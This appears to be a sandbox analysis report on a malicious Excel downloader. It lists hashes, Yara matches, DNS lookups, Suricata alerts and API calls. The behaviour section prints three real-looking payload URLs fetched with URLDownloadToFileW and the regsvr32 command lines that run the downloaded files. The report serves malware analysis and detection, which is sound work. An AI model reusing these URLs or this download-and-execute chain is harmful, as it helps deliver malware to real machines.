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stash-497253553.xls

Downloader MSOffice File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Nov. 1, 2021, 12:11 p.m. Nov. 1, 2021, 12:13 p.m.
Size 88.0KB
Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Thu Oct 28 15:04:45 2021, Security: 0
MD5 4484119a5f3be9bf820a20961f2e68b5
SHA256 955708b286ead9e06d04d262ee00e96ea3ea55019177bc0e778f8a511314957c
CRC32 AEBB210C
ssdeep 1536:i5Kpb8rGYrMPe3q7Q0XV5xtezEsi8/dg691vrVmxJiME2GhdD52lZPFu1AOgI+V8:0Kpb8rGYrMPe3q7Q0XV5xtezEsi8/dgg
Yara
  • Microsoft_Office_File_Downloader_Zero - Microsoft Office File Downloader
  • Microsoft_Office_File_Zero - Microsoft Office File

Name Response Post-Analysis Lookup
merwedding.com.tr
A 78.142.209.142
78.142.209.142
ini-ippatmajalengka.com
A 103.253.212.91
103.253.212.91
prestigeldnservices.co.uk
A 204.11.59.195
204.11.59.195
IP Address Status Action
103.253.212.91 Active Moloch
164.124.101.2 Active Moloch
204.11.59.195 Active Moloch
78.142.209.142 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49172 -> 78.142.209.142:443 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 192.168.56.103:49172 -> 78.142.209.142:443 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 192.168.56.103:49172 -> 78.142.209.142:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 103.253.212.91:443 -> 192.168.56.103:49170 2029340 ET INFO TLS Handshake Failure Potentially Bad Traffic
TCP 78.142.209.142:443 -> 192.168.56.103:49175 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 78.142.209.142:443 -> 192.168.56.103:49175 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 192.168.56.103:49175 -> 78.142.209.142:443 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 192.168.56.103:49175 -> 78.142.209.142:443 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 192.168.56.103:49177 -> 204.11.59.195:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49167 -> 103.253.212.91:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49169 -> 103.253.212.91:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49173 -> 78.142.209.142:443 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 192.168.56.103:49173 -> 78.142.209.142:443 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 192.168.56.103:49173 -> 78.142.209.142:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 78.142.209.142:443 -> 192.168.56.103:49173 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 78.142.209.142:443 -> 192.168.56.103:49173 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 192.168.56.103:49178 -> 204.11.59.195:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 204.11.59.195:443 -> 192.168.56.103:49179 2029340 ET INFO TLS Handshake Failure Potentially Bad Traffic
TCP 78.142.209.142:443 -> 192.168.56.103:49172 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 78.142.209.142:443 -> 192.168.56.103:49172 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2508
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6bf98000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2508
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6b2e2000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2844
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3056
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0
cmdline regsvr32 C:\Datop\test.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
cmdline regsvr32 C:\Datop\test1.test
cmdline regsvr32 C:\Datop\test2.test
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2508
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef70000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

URLDownloadToFileW

 url: https://ini-ippatmajalengka.com/9dv886HWC/l.html
stack_pivoted: 0
filepath_r: C:\Datop\test.test
filepath: C:\Datop\test.test
2148270085 0

URLDownloadToFileW

 url: https://merwedding.com.tr/vckdH4zr1/l.html
stack_pivoted: 0
filepath_r: C:\Datop\test1.test
filepath: C:\Datop\test1.test
2148270085 0

URLDownloadToFileW

 url: https://prestigeldnservices.co.uk/71RgP1QoL/l.html
stack_pivoted: 0
filepath_r: C:\Datop\test2.test
filepath: C:\Datop\test2.test
2148270085 0
parent_process excel.exe martian_process regsvr32 C:\Datop\test.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test1.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test2.test
file C:\Windows\System32\regsvr32.exe